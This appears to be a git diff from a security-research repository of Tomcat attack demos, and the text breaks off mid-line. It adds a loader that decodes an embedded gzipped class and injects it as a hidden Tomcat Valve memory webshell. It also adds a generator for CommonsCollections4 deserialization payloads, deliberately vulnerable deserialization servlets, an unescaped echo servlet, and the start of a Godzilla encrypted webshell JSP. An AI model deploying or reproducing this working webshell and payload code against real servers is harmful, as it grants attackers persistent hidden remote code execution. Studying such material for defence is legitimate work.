"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"; + private static Object object = null; + + public ValveThreadLoader() { + } + + static { + try { + getObject(); + + // 获取 standardContext + Object standardContext = getTargetObject("org.apache.catalina.core.StandardContext"); + if (!isInject(standardContext)) { + inject(standardContext); + } + + } catch (Throwable e) { + + } + } + + public static boolean isInject(Object standardContext) { + try { + Object pipeline = getFieldValue(standardContext, "pipeline"); + Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", new Class[]{}, new Object[]{}); + for (Object valve : valves) { + if (valve instanceof Proxy + && object instanceof Proxy + && getFieldValue(object, "h").getClass().getName().equalsIgnoreCase(getFieldValue(valve, "h").getClass().getName())) { + + return true; + } + } + } catch (Exception e) { + } + + return false; + } + + public static void inject(Object standardContext) { + try { + if (object == null) + return; + Object pipeline = getFieldValue(standardContext, "pipeline"); + invokeMethod(pipeline, "addValve", new Class[]{Class.forName("org.apache.catalina.Valve")}, new Object[]{object}); + } catch (Exception e) { + + } + } + + public static void getObject() throws Exception { + Class valueClass = Class.forName("org.apache.catalina.core.StandardContextValve"); + Constructor declaredConstructor = valueClass.getDeclaredConstructor(); + declaredConstructor.setAccessible(true); + Object standardContextValve = declaredConstructor.newInstance(); + + byte[] bytes = decompress(gzipObject); + + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = null; + try { + clazz = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } catch (Exception e){ + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defMethod.setAccessible(true); + Class cls = (Class) defMethod.invoke(urlClassLoader, bytes, 0, bytes.length); + String CLASSNAME = cls.getName(); + + clazz = classLoader.loadClass(CLASSNAME); + } + + Constructor constructor = clazz.getDeclaredConstructor(Object.class); + constructor.setAccessible(true); + Object javaObject = constructor.newInstance(standardContextValve); + + object = Proxy.newProxyInstance(valueClass.getClassLoader(), new Class[]{Class.forName("org.apache.catalina.Valve")}, (InvocationHandler) javaObject); + } + + public static byte[] decompress(String gzipObject) throws IOException { + final byte[] compressedData = new sun.misc.BASE64Decoder().decodeBuffer(gzipObject); + ByteArrayInputStream bais = new ByteArrayInputStream(compressedData); + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(bais); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[1024]; + int len; + while ((len = gzipInputStream.read(buffer)) > 0) { + baos.write(buffer, 0, len); + } + return baos.toByteArray(); + } catch (Exception e) { + + } + return null; + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Field getField(final Class clazz, final String fieldName) { + Field field = null; + try { + field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + } catch (NoSuchFieldException ex) { + if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + } + return field; + } + + public static Object invokeMethod(Object obj, String methodName, Class[] argsClass, Object[] args) throws Exception { + Method method; + try { + method = obj.getClass().getDeclaredMethod(methodName, argsClass); + } catch (NoSuchMethodException e) { + method = obj.getClass().getSuperclass().getDeclaredMethod(methodName, argsClass); + } + method.setAccessible(true); + Object object = method.invoke(obj, args); + return object; + } + + public static Object getTargetObject(String className) throws Exception { + List activeClassLoaders = new ValveThreadLoader().getActiveClassLoaders(); + + Class cls = getTargetClass(className, activeClassLoaders); + + // 死亡区域 已检查过的类 + HashSet breakObject = new HashSet(); + breakObject.add(System.identityHashCode(breakObject)); + + // 原始类型和包装类都不递归 + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + + Object result = getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); + + return result; + } + + /** + * 遍历 ClassLoader 加载目标 Class + */ + public static Class getTargetClass(String className, List activeClassLoaders) { + for (ClassLoader activeClassLoader : activeClassLoaders) { + try { + return Class.forName(className, true, activeClassLoader); + } catch (Throwable e) { + + } + } + return null; + } + + /** + * 获取活跃线程 + */ + public List getActiveClassLoaders() throws Exception { + Set activeClassLoaders = new HashSet(); + + // 加载当前对象的加载器 + activeClassLoaders.add(this.getClass().getClassLoader()); + + // 当前线程的上下文类加载器 + activeClassLoaders.add(Thread.currentThread().getContextClassLoader()); + +// // 应用程序类加载器 +// ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader(); +// activeClassLoaders.add(systemClassLoader); +// +// // 扩展类加载器 +// activeClassLoaders.add(systemClassLoader.getParent()); + + // 获取线程组 + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + Thread[] threads = new Thread[threadGroup.activeCount()]; + int count = threadGroup.enumerate(threads, true); + for (int i = 0; i < count; i++) { + activeClassLoaders.add(threads[i].getContextClassLoader()); + } + + return new ArrayList(activeClassLoaders); + } + + /** + * 递归查找属性 + */ + public static Object getTargetObject(Class targetCls, Object object, HashSet breakObject, HashSet breakType, int maxDepth) { + // 最大递归深度 + maxDepth--; + if (maxDepth < 0) { + return null; + } + + if (object == null) { + return null; + } + + // 寻找到指定类返回 + if (targetCls.isInstance(object)) { + return object; + } + + // 获取内存地址,来标识唯一对象 + Integer hash = System.identityHashCode(object); + + if (breakObject.contains(hash)) { + return null; + } + breakObject.add(hash); + + // 获取对象所有 Field + Field[] fields = object.getClass().getDeclaredFields(); + ArrayList fieldsArray = new ArrayList(); + Class objClass = object.getClass(); + while (objClass != null) { + Field[] superFields = objClass.getDeclaredFields(); + fieldsArray.addAll(Arrays.asList(superFields)); + objClass = objClass.getSuperclass(); + } + fields = (Field[]) fieldsArray.toArray(new Field[0]); + + + for (Field field : fields) { + try { + Class type = field.getType(); + + if (breakType.contains(type.getName())) { + continue; + } + + // 获取 Field 值 + field.setAccessible(true); + Object value = field.get(object); + Object result = null; + + // 递归查找 + if (value instanceof Map) { + // Map 的 kv 都要遍历 + Map map = (Map) value; + for (Object o : map.entrySet()) { + Map.Entry entry = (Map.Entry) o; + result = getTargetObject(targetCls, entry.getKey(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + result = getTargetObject(targetCls, entry.getValue(), breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (value instanceof Iterable) { + // 集合的元素都要遍历 + Iterable iterable = (Iterable) value; + for (Object o : iterable) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else if (type.isArray()) { + // 数组的元素都要遍历 + Object[] array = (Object[]) value; + for (Object o : array) { + result = getTargetObject(targetCls, o, breakObject, breakType, maxDepth); + if (result != null) { + break; + } + } + } else { + result = getTargetObject(targetCls, value, breakObject, breakType, maxDepth); + } + + if (result != null) { + return result; + } + } catch (Throwable e) { + + } + } + + return null; + } +} diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterContextClassMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterContextClassMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterContextClassMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterContextClassMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterJMXMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterJMXMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterThreadMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatFilterThreadMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerContextClassMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerContextClassMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerContextClassMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerContextClassMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerJMXMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerJMXMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerThreadMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatListenerThreadMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletContextClassMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletContextClassMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletContextClassMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletContextClassMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletJMXMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletJMXMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletJMXMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletJMXMS.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletThreadMS.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletThreadMS.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletThreadMS.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/unload/UnloadTomcatServletThreadMS.java diff --git a/MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/Base64DeSerializerServlet.java diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java similarity index 100% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/BinaryDeSerializerServlet.java diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/IndexServlet.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/IndexServlet.java new file mode 100644 index 0000000..a4f37d4 --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/servlet/IndexServlet.java @@ -0,0 +1,34 @@ +package com.demo.servlet; + +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.util.Base64; + +public class IndexServlet extends HttpServlet { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) { + try { + String str = req.getParameter("str"); + resp.getWriter().println(str); + }catch (Exception e){ + e.printStackTrace(); + } + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) { + try { + String str = req.getParameter("str"); + resp.getWriter().println(str); + }catch (Exception e){ + e.printStackTrace(); + } + } + +} + + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java new file mode 100644 index 0000000..cbded0e --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java @@ -0,0 +1,86 @@ +package com.demo.utils; + +import com.demo.echo.TomcatEcho; +import com.demo.memshell.exec.TomcatListenerJMXMS; +import com.demo.memshell.exec.TomcatListenerThreadMS; +import com.demo.memshell.exec.executor.TomcatExecutorExecMS; +import com.demo.memshell.exec.executor.TomcatExecutorThreadLoader; +import com.demo.memshell.exec.valve.TomcatValveExecMS; +import com.demo.memshell.exec.valve.TomcatValveThreadLoader; +import me.gv7.tools.josearcher.entity.Blacklist; +import me.gv7.tools.josearcher.entity.Keyword; +import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; +import com.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.GZIPMaker; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author Whoopsunix + */ +public class PayloadMake { + public static void main(String[] args) throws Exception { + cc4(); + } + + public static void cc4() throws Exception { + Class msmClass = TomcatEcho.class; + System.out.println(msmClass.getName()); + CC4Generator cc4Generator = new CC4Generator(); + String payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, String.format("dev/%s.bin", msmClass.getSimpleName())); + + msmClass = TomcatListenerJMXMS.class; + System.out.println(msmClass.getName()); + cc4Generator = new CC4Generator(); + payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, String.format("dev/%s.bin", msmClass.getSimpleName())); + + msmClass = TomcatListenerThreadMS.class; + System.out.println(msmClass.getName()); + cc4Generator = new CC4Generator(); + payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, String.format("dev/%s.bin", msmClass.getSimpleName())); + + msmClass = TomcatExecutorThreadLoader.class; + System.out.println(msmClass.getName()); + cc4Generator = new CC4Generator(); + payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, String.format("dev/%s.bin", msmClass.getSimpleName())); + GZIPMaker.gzipMaker(TomcatExecutorExecMS.class.getName()); + + msmClass = TomcatValveThreadLoader.class; + System.out.println(msmClass.getName()); + cc4Generator = new CC4Generator(); + payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, String.format("dev/%s.bin", msmClass.getSimpleName())); + GZIPMaker.gzipMaker(TomcatValveExecMS.class.getName()); + } + + public void searchTomcat() { + //设置搜索类型包含Request关键字的对象 + List keys = new ArrayList(); + keys.add(new Keyword.Builder().setField_type("Request").build()); + //定义黑名单 + List blacklists = new ArrayList(); + blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); + //新建一个广度优先搜索Thread.currentThread()的搜索器 + SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); + // 设置黑名单 + searcher.setBlacklists(blacklists); + //打开调试模式,会生成log日志 + searcher.setIs_debug(true); + //挖掘深度为20 + searcher.setMax_search_depth(20); + //设置报告保存位置 + searcher.setReport_save_path("/tmp/"); + searcher.searchObject(); + } + +} diff --git a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMakeTest.java similarity index 58% rename from MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java rename to SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMakeTest.java index 53e2088..d809f22 100644 --- a/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMake.java +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/utils/PayloadMakeTest.java @@ -1,44 +1,51 @@ package com.demo.utils; -import com.demo.memshell.all.TomcatExecThreadListener; -import com.demo.memshell.exec.TomcatFilterThreadMS; -import com.demo.memshell.exec.TomcatListenerThreadMS; -import com.demo.memshell.exec.TomcatListenerWebAppMS; -import com.demo.memshell.exec.TomcatServletThreadMS; -import com.demo.memshell.unload.UnloadTomcatFilterThreadMS; -import com.demo.memshell.unload.UnloadTomcatListenerThreadMS; -import com.demo.memshell.unload.UnloadTomcatServletThreadMS; -import org.ppp.tools.ser.CC4Generator; - -import java.util.ArrayList; -import java.util.List; - +import com.demo.memshell.exec.valve.TomcatValveExecMS; +import com.demo.memshell.exec.valve.TomcatValveThreadLoader; +import com.demo.memshell.loader.*; import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; +import com.ppp.tools.ser.CC4Generator; +import com.ppp.tools.ser.GZIPMaker; + +import java.util.ArrayList; +import java.util.List; /** * @author Whoopsunix */ -public class PayloadMake { +public class PayloadMakeTest { public static void main(String[] args) throws Exception { cc4(); } public static void cc4() throws Exception { - Class msmClass = TomcatExecThreadListener.class; + // test + Class msmClass = TomcatValveThreadLoader.class; + System.out.println(msmClass.getName()); CC4Generator cc4Generator = new CC4Generator(); String payload = cc4Generator.make(msmClass); System.out.println(payload.length()); - cc4Generator.makeFile(msmClass, "cc4.bin"); + cc4Generator.makeFile(msmClass, "dev/test2.bin"); + GZIPMaker.gzipMaker(TomcatValveExecMS.class.getName()); + + + msmClass = ExecutorThreadLoader.class; + System.out.println(msmClass.getName()); + cc4Generator = new CC4Generator(); + payload = cc4Generator.make(msmClass); + System.out.println(payload.length()); + cc4Generator.makeFile(msmClass, "dev/test.bin"); + GZIPMaker.gzipMaker(ExecutorExecMS.class.getName()); } public void searchTomcat() { //设置搜索类型包含Request关键字的对象 - List keys = new ArrayList<>(); + List keys = new ArrayList(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 - List blacklists = new ArrayList<>(); + List blacklists = new ArrayList(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/WEB-INF/web.xml b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..10747ee --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,31 @@ + + + Archetype Created Web Application + + Base64DeSerializerServlet + com.demo.servlet.Base64DeSerializerServlet + + + Base64DeSerializerServlet + /base64 + + + BinaryDeSerializerServlet + com.demo.servlet.BinaryDeSerializerServlet + + + BinaryDeSerializerServlet + /binary + + + IndexServlet + com.demo.servlet.IndexServlet + + + IndexServlet + /index + + diff --git a/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/godzilla_original.jsp b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/godzilla_original.jsp new file mode 100644 index 0000000..15cb65f --- /dev/null +++ b/SecVulns/VulnCore/MemShellAndRceEcho/JavaxTomcatDemo/src/main/webapp/godzilla_original.jsp @@ -0,0 +1,2 @@ +<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new 